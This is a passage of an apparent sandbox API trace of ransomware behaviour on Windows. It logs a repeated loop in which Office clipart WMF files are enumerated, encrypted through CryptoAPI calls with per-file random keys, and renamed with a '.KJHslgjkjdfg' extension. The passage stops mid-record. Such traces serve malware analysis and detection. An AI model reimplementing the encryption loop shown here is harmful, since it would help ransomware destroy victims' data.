[0153.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3860, dwBufLen=0x3860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3860) returned 1 [0153.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.803] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3860, lpOverlapped=0x0) returned 1 [0153.803] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.803] SetEndOfFile (hFile=0x114) returned 1 [0153.805] GetProcessHeap () returned 0x2a0000 [0153.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.805] GetProcessHeap () returned 0x2a0000 [0153.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.kjhslgjkjdfg")) returned 1 [0153.806] CloseHandle (hObject=0x114) returned 1 [0153.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0153.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.807] GetProcessHeap () returned 0x2a0000 [0153.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.807] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.807] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.808] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.808] GetProcessHeap () returned 0x2a0000 [0153.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.808] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.808] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.808] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.810] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.810] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.810] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.811] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0153.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ba0) returned 1 [0153.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.814] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ba0, lpOverlapped=0x0) returned 1 [0153.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.814] SetEndOfFile (hFile=0x114) returned 1 [0153.817] GetProcessHeap () returned 0x2a0000 [0153.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.817] GetProcessHeap () returned 0x2a0000 [0153.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.kjhslgjkjdfg")) returned 1 [0153.818] CloseHandle (hObject=0x114) returned 1 [0153.819] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0153.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.819] GetProcessHeap () returned 0x2a0000 [0153.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.819] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.819] GetProcessHeap () returned 0x2a0000 [0153.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.819] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.819] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.819] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.822] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.822] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.822] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd10, lpOverlapped=0x0) returned 1 [0153.822] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10, dwBufLen=0xd10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd10, lpOverlapped=0x0) returned 1 [0153.822] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] SetEndOfFile (hFile=0x114) returned 1 [0153.824] GetProcessHeap () returned 0x2a0000 [0153.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.825] GetProcessHeap () returned 0x2a0000 [0153.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.kjhslgjkjdfg")) returned 1 [0153.826] CloseHandle (hObject=0x114) returned 1 [0153.826] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0153.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.826] GetProcessHeap () returned 0x2a0000 [0153.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.826] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.826] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.832] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.832] GetProcessHeap () returned 0x2a0000 [0153.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.832] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.832] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.833] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.833] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.833] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x63c, lpOverlapped=0x0) returned 1 [0153.833] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640, dwBufLen=0x640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640) returned 1 [0153.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.833] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x640, lpOverlapped=0x0) returned 1 [0153.833] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.833] SetEndOfFile (hFile=0x114) returned 1 [0153.836] GetProcessHeap () returned 0x2a0000 [0153.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.836] GetProcessHeap () returned 0x2a0000 [0153.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.kjhslgjkjdfg")) returned 1 [0153.837] CloseHandle (hObject=0x114) returned 1 [0153.837] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0153.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.842] GetProcessHeap () returned 0x2a0000 [0153.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.842] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.842] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.842] GetProcessHeap () returned 0x2a0000 [0153.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.842] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.847] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.847] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.847] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.847] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.847] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.847] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f20, lpOverlapped=0x0) returned 1 [0153.848] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20) returned 1 [0153.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.849] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f20, lpOverlapped=0x0) returned 1 [0153.849] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.849] SetEndOfFile (hFile=0x114) returned 1 [0153.851] GetProcessHeap () returned 0x2a0000 [0153.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.852] GetProcessHeap () returned 0x2a0000 [0153.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.kjhslgjkjdfg")) returned 1 [0153.853] CloseHandle (hObject=0x114) returned 1 [0153.853] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01084_.WMF", 